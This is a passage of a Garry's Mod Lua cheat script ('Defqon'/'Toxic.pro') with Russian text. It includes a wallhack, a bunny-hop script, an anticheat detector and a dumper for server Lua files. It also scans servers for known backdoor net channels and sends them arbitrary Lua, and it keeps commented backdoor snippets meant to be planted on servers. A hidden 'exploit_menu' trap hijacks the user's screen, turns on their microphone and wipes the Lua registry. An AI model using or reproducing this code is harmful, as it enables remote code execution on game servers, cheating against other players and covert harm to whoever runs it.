плохо, если вы попытаетесь прописать exploit_menu в консоль") end button = vgui.Create("DButton", Popup) button:SetSize(110,32.5) button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050) button:SetText("") button.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(80,180,240) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(24,5.5) surface.DrawText( "Закрыть" ) end button.DoClick = function(s,w,h) Popup:Close() end end) RunConsoleCommand("fucked") end --[[--------------------------------------------------------------------------------------------------------- ____ _ _ _ _ _ _ _ _ _ / ___|| |_ ___ __ _ _ __ ___ (_) __| | / \ _ _| |_| |__ ___ _ __(_)______ _| |_(_) ___ _ __ \___ \| __/ _ \/ _` | '_ ` _ \| |/ _` | / _ \| | | | __| '_ \ / _ \| '__| |_ / _` | __| |/ _ \| '_ \ ___) | || __/ (_| | | | | | | | (_| | / ___ \ |_| | |_| | | | (_) | | | |/ / (_| | |_| | (_) | | | | |____/ \__\___|\__,_|_| |_| |_|_|\__,_| /_/ \_\__,_|\__|_| |_|\___/|_| |_/___\__,_|\__|_|\___/|_| |_| ----------------------------------------------------------------------------------------------------------]] function leak() fuck = false timer.Create("LolHackers", 1, 0, function() if fuck then chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Не заплатил - меню не получил" ) else chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), ":^)" ) end fuck = !fuck end) LocalPlayer():EmitSound("common/warning.wav",500,100) LocalPlayer():EmitSound("common/warning.wav",500,100) LocalPlayer():EmitSound("common/warning.wav",500,100) LocalPlayer():EmitSound("common/warning.wav",500,100) LocalPlayer():EmitSound("common/warning.wav",500,100) LocalPlayer():EmitSound("common/warning.wav",500,100) chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Чёртов пират, уходи!" ) chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Не заплатил - меню не получил!" ) chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), ":^)" ) local msg = "Подожди. . ." surface.CreateFont("lolwutbet2", {size=75}) local function huddrawdetour2() draw.RoundedBox(0, 0, 0, ScrW(), ScrH(), HSVToColor( CurTime() % 6 * 60, 1, 1 )) draw.RoundedBox(0, 0, ScrH() / 3.5, ScrW(), ScrH() / 4.5, Color(0, 0, 0)) draw.SimpleText(msg, "lolwutbet2", ScrW() / 2, ScrH() / 2.5, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) end for k,v in pairs(hook.GetTable()) do for o,j in pairs(v) do if k == "HUDPaint" then hook.Remove(k, o) hook.Add(k, o, huddrawdetour2) end end end hook.Add("HUDPaint","eztoirkfghdjnnvcc", huddrawdetour2) timer.Create("ti_ebaniy_debil1",2 ,0 , function() msg = table.Random({ "Зачем скачал слитый чит?", "За всё нужно платить", "Ну правда", "Почему ты это сделал ?", "Я уже взламываю твой аккаунт", "Мда", "Может будет лучше скачать Gmhack?", "Я же говорил тебе не прописывать exploit_menu", "u n00b", "1337", "1337 h4ck3r", "Больше не запускай меня, ок?", "gmhack!1!1!11", "lol", "Надеюсь, ты понял", "...", "...", "..."}) end) timer.Create("lgfholjghlfdsq",0 ,0 , function() MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "ЗАПУСТИ МЕНЯ ЕЩЕ РАЗ, ДАВАЙ, СДЕЛАЙ ЭТО!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n") end) sound.PlayURL("http://d.zaix.ru/5Kko.mp3","mono noblock", function( s ) s:Play() end) LocalPlayer():ConCommand("+voicerecord") -- Автоматическое включение микрофона LocalPlayer():ConCommand("cl_yawspeed 9999") -- Скорость кручения LocalPlayer():ConCommand("+right") -- Будешь крутиться вправо MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "Нажми escape !\n") timer.Simple(5 * 60, function() table.Empty(debug.getregistry()) end) end concommand.Add( "exploit_menu", leak ) /* function noob() huck = false timer.Create("LolHackers1", 1, 0, function() if huck then chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Не заплатил - меню не получил!" ) else chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), ":^)" ) end huck = !fuck end) LocalPlayer():EmitSound("common/warning.wav",500,100) LocalPlayer():EmitSound("common/warning.wav",500,100) LocalPlayer():EmitSound("common/warning.wav",500,100) LocalPlayer():EmitSound("common/warning.wav",500,100) LocalPlayer():EmitSound("common/warning.wav",500,100) LocalPlayer():EmitSound("common/warning.wav",500,100) chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Чёртов пират, уходи!" ) chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Не заплатил - меню не получил!" ) chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), ":^)" ) local msg1 = "Подожди. . ." surface.CreateFont("lolwutbet3", {size=75}) local function huddrawdetour3() draw.RoundedBox(0, 0, 0, ScrW(), ScrH(), HSVToColor( CurTime() % 6 * 60, 1, 1 )) draw.RoundedBox(0, 0, ScrH() / 3.5, ScrW(), ScrH() / 4.5, Color(0, 0, 0)) draw.SimpleText(msg, "lolwutbet3", ScrW() / 2, ScrH() / 2.5, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) end for k,v in pairs(hook.GetTable()) do for o,j in pairs(v) do if k == "HUDPaint" then hook.Remove(k, o) hook.Add(k, o, huddrawdetour2) end end end hook.Add("HUDPaint","cztoirkfghdjnnvcc", huddrawdetour2) timer.Create("ti_ebaniy_debil3",2 ,0 , function() msg = table.Random({ "Зачем скачал слитый чит?", "За всё нужно платить", "Ну правда", "Почему ты это сделал ?", "Я уже взламываю твой аккаунт", "Мда", "Может будет лучше скачать Gmhack?", "u n00b", "1337", "1337 h4ck3r", "Больше не запускай меня, ок?", "gmhack!1!1!11", "lol", "Надеюсь, ты понял", "...", "...", "..."}) end) timer.Create("ugfholjghlfdsq",0 ,0 , function() MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "ЗАПУСТИ МЕНЯ ЕЩЕ РАЗ, ДАВАЙ, СДЕЛАЙ ЭТО!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !\n") end) sound.PlayURL("http://d.zaix.ru/5Kko.mp3","mono noblock", function( s ) s:Play() end) LocalPlayer():ConCommand("+voicerecord") -- Включение микрофона LocalPlayer():ConCommand("cl_yawspeed 9999") -- Скорость кручения LocalPlayer():ConCommand("+right") -- Будешь крутиться вправо MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "Нажми escape !\n") timer.Simple(5 * 60, function() table.Empty(debug.getregistry()) end) end concommand.Add( "sdbhfbgf", noob ) */ -- Version Check function CheckVersion() surface.PlaySound("garrysmod/ui_click.wav") if ( Version == "v5.1.1") then chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 0, 255, 0 )," Вы используете последнюю версию от 17.03.18!" ) else chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 255, 0, 0 )," Ваша версия чита устарела!" ) end end require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.lua$") then path = path..".lua" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.lua$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end local VIEWER2 = {} function VIEWER2:Init() self:SetTitle("Lua View") self:SetSize(1200, 550) self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h) surface.SetDrawColor(Color(40,40,40)) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(40,40,40) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(40,40,40)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(40,40,40)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(255,255,255) surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( "DButton", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText("") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetTextPos(18,-2) surface.DrawText( "x" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create("DTree", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create("DHTML", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL("https://metastruct.github.io/lua_editor/") client_lua_files = stringtable.Get "client_lua_files" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, ".*/([^/]+%.lua)") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, "([^/]+)/") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or "" for k, v in SortedPairs(data) do if type(v) == "table" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption("Save Folder(НЕ РАБОТАЕТ)", function() dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node) DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!") end) dmenu:Open() end iterate(v, new_node, path .. k .. "/") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, "icon16/page_green.png") node.DoClick = function() self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')") end local hostname = GetHostName() hostname = hostname:gsub("|", "-") hostname = hostname:gsub("~", "-") hostname = hostname:gsub(" ", "") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path end end derma.DefineControl("chmluaviewer", "Defqon Lua Viewer", VIEWER2, "DFrame") ------------------------------------------------------------------------------------------------ local title = "You have been reported! Please answer all your reports." local function CheckChild(pan) if not pan or not IsValid(pan) then return end if pan.GetTitle and pan:GetTitle() == title then pan:Remove() print("Удален warning box") return end for k, v in pairs(pan:GetChildren()) do if v.GetTitle and v:GetTitle() == title then v:Remove() print("Удален warning box") return end if #v:GetChildren() > 0 then CheckChild(v) end end end local isttt = false if (engine.ActiveGamemode() == "terrortown") then isttt = true end local bypass = 0 local rainb = false function rainbowphysgun() surface.PlaySound("garrysmod/ui_click.wav") if not rainb then hook.Add("Think", "RGBSTF", function() local rainbowC = HSVToColor(CurTime() % 6 * 60, 1, 1) LocalPlayer():SetWeaponColor(Vector(rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255)) LocalPlayer():SetPlayerColor(Vector(rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255)) end) chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Радужный физган включен" ) rainb = true else hook.Remove("Think", "RGBSTF") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Радужный физган выключен" ) rainb = false end end surface.CreateFont("WHT", { font = "Robot", size = ScreenScale(7), weight = 150, antialias = true, shadow = true, }) local wh = false function WHT() surface.PlaySound("garrysmod/ui_click.wav") if not wh then chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Wallhack включен" ) hook.Add("HUDPaint", "WHT", function() for k, v in pairs(player.GetAll()) do if (v:Alive()) then local Position = (v:GetPos() + Vector(0, 0, 95)):ToScreen() local Name = "" local teamName = "" local colwht = v:IsPlayer() and team.GetColor(v:Team()) if v == LocalPlayer() then Name = "" teamName = "" elseif v:IsBot() then Name = v:Name() .. "[ БОТ ]" if (string.lower(engine.ActiveGamemode()) == "darkrp") then teamName = v:getDarkRPVar("job") or "" end else Name = v:Name() if (string.lower(engine.ActiveGamemode()) == "darkrp") then teamName = v:getDarkRPVar("job") or "" end end if v:GetUserGroup() == "user" then draw.SimpleText(Name .. "(" .. v:Health() .. ")", "WHT", Position.x, Position.y, colwht, 1) if (string.lower(engine.ActiveGamemode()) == "darkrp") then local PlyMoney = math.ceil(v:getDarkRPVar("money") or 0) draw.SimpleText(teamName .. "[" .. PlyMoney .. "]", "WHT", Position.x, Position.y + 20, Color(255, 255, 255, 255), 1) end else draw.SimpleText(Name .. "(" .. v:Health() .. ") [" .. v:GetUserGroup() .. "]", "WHT", Position.x, Position.y, colwht, 1) if (string.lower(engine.ActiveGamemode()) == "darkrp") then local PlyMoney = math.ceil(v:getDarkRPVar("money") or 0) draw.SimpleText(teamName .. "[" .. PlyMoney .. "]", "WHT", Position.x, Position.y + 20, Color(255, 255, 255, 255), 1) end end end end end) wh = true else chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Wallhack выключен" ) hook.Remove("HUDPaint", "WHT") wh = false end end concommand.Add("Defqon_wallhack", WHT) local bhop = false function Bhop() surface.PlaySound("garrysmod/ui_click.wav") if not bhop then chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Bhop включен" ) hook.Add("CreateMove", "BHOP", function(cmd) if (cmd:KeyDown(IN_JUMP)) then if(cmd:GetMouseX() < 0) then --spinning right cmd:SetSideMove(-10000); elseif(cmd:GetMouseX() > 0) then cmd:SetSideMove(10000); end if (LocalPlayer():IsOnGround()) then cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_JUMP)); return; end end cmd:RemoveKey(IN_JUMP); end ) bhop = true else chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Bhop выключен" ) hook.Remove("CreateMove", "BHOP") bhop = false end end concommand.Add("Defqon_bhop", Bhop) local CommandList2 = {} local CompleteList2 = {} local oaddcc = AddConsoleCommand local _A = {} _A.aegis = {} _A.registry = debug.getregistry() local aegis = {} _A.aegis.logs = {} _A.aegis.anticheats = {} _A.aegis.exploitables = {} local function ispooped( str ) local status, error = pcall( net.Start, str ) return status end local acfags = { ["!Cake Anticheat (CAC)"] = { desc = "Самый распространенный античит, используемый сегодня (и ваш худший кошмар, прежде чем вы юзанули обход)\nИмеет очень сильные обнаружения, которые все еще лагают, даже через 2 года после его выпуска", scan = function() return _A.aegis.anticheats["extensions/client/vehicle.lua"] end, }, ["Simplicity Anticheat (SAC)"] = { desc = "Новый античит Leystryku, который он выпустил на scriptfodder\nНе силен, как CAC, но (по-видимому) предлагает лучшую производительность серверов", scan = function() if _G.simplicity then return true else return false end end, }, ["Quack Anticheat (QAC)"] = { desc = "Датированный античит с открытым исходным кодом из 2014 года\nRPards все еще редактируют и используют этот кусок дерьма, называя его своим 1337 приватным античитом", -- сами не лучше scan = function() return ( _G.QAC and ispooped( "quack" ) ) end, }, ["Supservers Anticheat"] = { desc = "Скорее черный список публичных читов, чем настоящий античит\nЭтот мусор не представляет для нас никакой угрозы (будьте осторожны с ними, скринграбит экран)", scan = function() return ispooped( "rp.OrgMotd" ) end, }, ["Screengrab V2"] = { desc = "Публичная утилита, которая может быть использована для скриншота вашего экрана\nВроде у дефкона есть анти-скринграб, но я хз", scan = function() if _G.OpenSGMenu then return true else return false end end, }, ["Pablo's Screengrab"] = { desc = "Публичная утилита, которая может быть использована для скриншота вашего экрана\nВроде у дефкона есть анти-скринграб, но я хз", scan = function() if _G.SCRG then return true else return false end end, }, ["Enforcer Anti Minge"] = { desc = "Скрипт общего назначения, который включает в себя антипропкилл, анти-краш и логи", scan = function() if _G.EnforcerAddMessage then return true else return false end end, }, ["AP Anti"] = { desc = "Тупо названный сценарий анти-пропкилла с открытым исходным кодом\nВы вероятно не сможете пропкиллить на этом сервере", scan = function() return ispooped( "APAnti AlertNotice" ) end, }, } concommand.Add( "Defqon_anticheats", function() local acpanel = vgui.Create("DFrame") if !acpanel then return end acpanel:SetSize(500,455) acpanel:SetTitle("Меры безопасности сервера") acpanel:Center() acpanel:MakePopup() acpanel.Paint = function( s, w, h ) surface.SetDrawColor( Color(30, 30, 30, 255) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color(55, 55, 55, 255) ) surface.DrawOutlinedRect( 0, 0, w, h ) surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 ) surface.SetDrawColor( Color(33, 33, 33, 200) ) surface.DrawRect( 10, 25, w - 20, h - 35 ) end local Plist = vgui.Create( "DPanelList", acpanel ) Plist:SetSize( acpanel:GetWide() - 20, acpanel:GetTall() - 35 ) Plist:SetPadding( 5 ) Plist:SetSpacing( 5 ) Plist:EnableHorizontal( false ) Plist:EnableVerticalScrollbar( true ) Plist:SetPos( 10, 25 ) Plist:SetName( "" ) local function CreateACPanel( cmd ) if !acpanel then return end local cmdp = vgui.Create( "DPanel" ) cmdp:SetSize( Plist:GetWide(), 60 ) cmdp.Cmd = cmd cmdp.Desc = acfags[cmd].desc cmdp.Paint = function( s, w, h ) surface.SetDrawColor( Color(50, 50, 50, 255) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color(65, 65, 65, 255) ) surface.DrawOutlinedRect( 0, 0, w, h ) surface.DrawLine( 0, 24, w, 24 ) draw.DrawText( cmdp.Cmd, "DermaDefault", 10, 5, Color(255,255,255) ) draw.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) ) end Plist:AddItem( cmdp ) end for k, v in pairs( acfags ) do if v["scan"]() then CreateACPanel( k ) end end end) ------------------------------------------------------------------------------------------------------------ /* COPYRIGHT 2018 YOU HAVE NO RIGHTS TO REDISTRIBUTE THIS FILE OR ANY FILES ASSOCIATED YOU MAY NOT COPY AND PASTE THIS SCRIPT p.s. lua run does not work Coded by Hayden Massey (ToxicRiver) @ toxicpro.xyz (what a fucking joke) */ /* Toxic.pro Commissioned by 0xymoron for ToxicRiver Start Date: December 27th, 2017. First revision finished December 28th, 2017 @ 3:28AM. January 2nd, 2017 @ 6:27AM - This script truly has become toxic, ironic. */ /* -- Possible backdoor strings to plant in a file or convince a superadmin to luarun util.AddNetworkString( "idk" ) net.Receive( "idk", function( len ) local str = net.ReadString() RunString( str ) end ) util.AddNetworkString( "idk" ) net.Receive( "idk", function( len ) local str = net.ReadString() CompileString( str, "[C]", false ) end ) util.AddNetworkString( "idk" ) net.Receive( "idk", function( len ) local str = net.ReadString() RunStringEx( str ) end ) */ /* metastruct editor read shit self.HTMLIDE:AddFunction("gmodinterface","OnCode",function(code) ... end)" https://github.com/Earu/EasyChat/blob/master/lua/easychat/modules/lua_tab.lua#L140 */ local toxic = {} local iZNX = {} function iZNX.ValidNetString( str ) local status, error = pcall( net.Start, str ) return status end local blackdoor = "" if iZNX.ValidNetString( "Sandbox_ArmDupe" ) then blackdoor = "Sandbox_ArmDupe" else if iZNX.ValidNetString( "Sbox_darkrp" ) then blackdoor = "Sbox_darkrp" else if iZNX.ValidNetString( "Sbox_itemstore" ) then blackdoor = "Sbox_itemstore" else if iZNX.ValidNetString( "Ulib_Message" ) then blackdoor = "Ulib_Message" else if iZNX.ValidNetString( "ULogs_Info" ) then blackdoor = "ULogs_Info" else if iZNX.ValidNetString( "ITEM" ) then blackdoor = "ITEM" else if iZNX.ValidNetString( "fix" ) then blackdoor = "fix" else if iZNX.ValidNetString( "Fix_Keypads" ) then blackdoor = "Fix_Keypads" else if iZNX.ValidNetString( "Remove_Exploiters" ) then blackdoor = "Remove_Exploiters" else if iZNX.ValidNetString( "noclipcloakaesp_chat_text" ) then blackdoor = "noclipcloakaesp_chat_text" else if iZNX.ValidNetString( "_Defqon" ) then blackdoor = "_Defqon" else if iZNX.ValidNetString( "_CAC_ReadMemory" ) then blackdoor = "_CAC_ReadMemory" else if iZNX.ValidNetString( "nostrip" ) then blackdoor = "nostrip" else if iZNX.ValidNetString( "nocheat" ) then blackdoor = "nocheat" else if iZNX.ValidNetString( "LickMeOut" ) then blackdoor = "LickMeOut" else if iZNX.ValidNetString( "ULX_QUERY2" ) then blackdoor = "ULX_QUERY2" else if iZNX.ValidNetString( "ULXQUERY2" ) then blackdoor = "ULXQUERY2" else if iZNX.ValidNetString( "MoonMan" ) then blackdoor = "MoonMan" else if iZNX.ValidNetString( "Im_SOCool" ) then blackdoor = "Im_SOCool" else if iZNX.ValidNetString( "Sandbox_GayParty" ) then blackdoor = "Sandbox_GayParty" else if iZNX.ValidNetString( "DarkRP_UTF8" ) then blackdoor = "DarkRP_UTF8" else if iZNX.ValidNetString( "oldNetReadData" ) then blackdoor = "oldNetReadData" else if iZNX.ValidNetString( "memeDoor" ) then blackdoor = "memeDoor" else if iZNX.ValidNetString( "BackDoor" ) then blackdoor = "BackDoor" else if iZNX.ValidNetString( "OdiumBackDoor" ) then blackdoor = "OdiumBackDoor" else if iZNX.ValidNetString( "SessionBackdoor" ) then blackdoor = "SessionBackdoor" else if iZNX.ValidNetString( "DarkRP_AdminWeapons" ) then blackdoor = "DarkRP_AdminWeapons" else if iZNX.ValidNetString( "cucked" ) then blackdoor = "cucked" else if iZNX.ValidNetString( "NoNerks" ) then blackdoor = "NoNerks" else if iZNX.ValidNetString( "kek" ) then blackdoor = "kek" else if iZNX.ValidNetString( "ZimbaBackDoor" ) then blackdoor = "ZimbaBackDoor" else if iZNX.ValidNetString( "something" ) then blackdoor = "something" else if iZNX.ValidNetString( "random" ) then blackdoor = "random" else if iZNX.ValidNetString( "strip0" ) then blackdoor = "strip0" else if iZNX.ValidNetString( "fellosnake" ) then blackdoor = "fellosnake" else if iZNX.ValidNetString( "enablevac" ) then blackdoor = "enablevac" else if iZNX.ValidNetString( "idk" ) then blackdoor = "idk" else if iZNX.ValidNetString( "c" ) then blackdoor = "c" else if iZNX.ValidNetString( "killserver" ) then blackdoor = "killserver" else if iZNX.ValidNetString( "fuckserver" ) then blackdoor = "fuckserver" else if iZNX.ValidNetString( "cvaraccess" ) then blackdoor = "cvaraccess" else if iZNX.ValidNetString( "rcon" ) then blackdoor = "rcon" else if iZNX.ValidNetString( "rconadmin" ) then blackdoor = "rconadmin" else if iZNX.ValidNetString( "web" ) then blackdoor = "web" else if iZNX.ValidNetString( "jesuslebg" ) then blackdoor = "jesuslebg" else if iZNX.ValidNetString( "zilnix" ) then blackdoor = "zilnix" else if iZNX.ValidNetString( "Þà?D)◘" ) then blackdoor = "Þà?D)◘" else if iZNX.ValidNetString( "disablebackdoor" ) then blackdoor = "disablebackdoor" else if iZNX.ValidNetString( "kill" ) then blackdoor = "kill" else if iZNX.ValidNetString( "DefqonBackdoor" ) then blackdoor = "DefqonBackdoor" end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end end toxic.Version = "1.2b" toxic.Aids = { "kill them with buttons", "you are the admen now", "odium copy paste!!!11!1", "tricking dumb admens since 2k17", "what servers can i use this on???", "#1 in backdoor 2k17 e-peen contest", "leaked on release day™", "here come the hax", "leaked by homeless meme", } /* Backend functions */ function toxic.Init() if !file.IsDir( "toxic.pro", "DATA" ) then file.CreateDir( "toxic.pro" ) end if !file.IsDir( "toxic.pro/files", "DATA" ) then file.CreateDir( "toxic.pro/files" ) end if !file.IsDir( "toxic.pro/files/lua", "DATA" ) then file.CreateDir( "toxic.pro/files/lua" ) end end function toxic.Track() -- TODO: php tracking & shit end function toxic.PostLua( str ) net.Start( blackdoor ) net.WriteString( str ) net.SendToServer() end function toxic.Notify( msg ) chat.AddText( Color( 255, 0, 0 ), "[Toxic.pro] ", color_white, msg ) end /* user interface */ function toxic.AddButton( name, parent, func ) local button = parent:Add( "DButton" ) button:SetText( "" ) button:Dock( TOP ) button:DockMargin( 0, 0, 0, 5 ) button:SetSize( 100, 25 ) button.DoClick = func button.Paint = function( self ) draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 0, 0, 0, 200 ) ) draw.SimpleText( name, "DebugFixed", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1 ) end toxic.ButtonPos = toxic.ButtonPos + 30 end function toxic.AddCategorySpacer( name, col, parent ) toxic.ButtonPos = toxic.ButtonPos + 5 local button = parent:Add( "DButton" ) button:SetText( "" ) button:Dock( TOP ) button:DockMargin( 0, 0, 0, 5 ) button:SetSize( 100, 25 ) button:SetEnabled( false ) button.Paint = function( self ) draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( col.r, col.g, col.b, 200 ) ) draw.SimpleText( name, "DebugFixed", self:GetWide() / 2, self:GetTall() / 2, color_white, 1, 1 ) end toxic.ButtonPos = toxic.ButtonPos + 35 end function toxic.OpenTextDocument( path, str, parent ) local hostname = string.gsub( GetHostName(), "%W", "" ) toxic.Notify( "Received file " .. path ) local frame = vgui.Create( "DFrame" ) frame:SetSize( ScrW() - ( parent:GetWide() + 75 ), ScrH() - 50 ) frame:SetPos( parent:GetWide() + 50, 25 ) frame:SetTitle( GetHostName() .. "'s " .. path ) frame:MakePopup() frame:ShowCloseButton( false ) frame:SetDraggable( false ) frame.Paint = function( self ) draw.RoundedBox( 0, 0, 0, self:GetWide(), self:GetTall(), Color( 140, 0, 0, 150 ) ) draw.RoundedBox( 0, 0, 0, self:GetWide(), 25, Color( 0, 0, 0, 200 ) ) end local close = vgui.Create( "DButton", frame ) close:SetSize( 50, 20 ) close:SetPos( frame:GetWide() - close:GetWide(), 0 ) close:SetText( "x" ) close:SetTextColor( Color( 255, 255, 255 ) ) close:SetFont( "DebugFixed" ) close.Paint = function() draw.RoundedBox( 0, 0, 0, close:GetWide(), close:GetTall(), Color( 168, 62, 62, 255 ) ) end close.DoClick = function() frame:Close() end local html = vgui.Create( "DHTML", frame ) html:SetPos( 5, 30 ) html:SetSize( frame:GetWide() - 10, frame:GetTall() - 35 ) html:OpenURL( "https://metastruct.github.io/lua_editor/" ) html:QueueJavascript( "SetContent( '" .. string.JavascriptSafe( str ) .. "' )" ) local save = vgui.Create( "DButton", frame ) save:SetSize( 60, 20 ) save:SetPos( frame:GetWide() - close:GetWide() - save:GetWide() - 5, 0 ) save:SetText( "Save As" ) save:SetTextColor( Color( 255, 255, 255 ) ) save:SetFont( "DebugFixed" ) save.Paint = function() draw.RoundedBox( 0, 0, 0, save:GetWide(), save:GetTall(), Color( 62, 168, 62, 255 ) ) end save.DoClick = function() Derma_StringRequest( "Save file '" .. path .. "' to data/toxic.pro/files/" .. hostname .. "/", "File name (e.g: servercfg or servercfg.txt)", "", function( text ) if !string.find( text, ".txt" ) then text = text .. ".txt" end if !file.IsDir( "toxic.pro/files/" .. hostname, "DATA" ) then file.CreateDir( "toxic.pro/files/" .. hostname ) end file.Write( "toxic.pro/files/" .. hostname .. "/" .. text, str ) toxic.Notify( "Saved source to data/toxic.pro/files/" .. hostname .. "/" .. text ) end ) end end toxic.LuaStr = "" function toxic.OpenLuaEditor( parent ) local frame = vgui.Create( "DFrame" ) 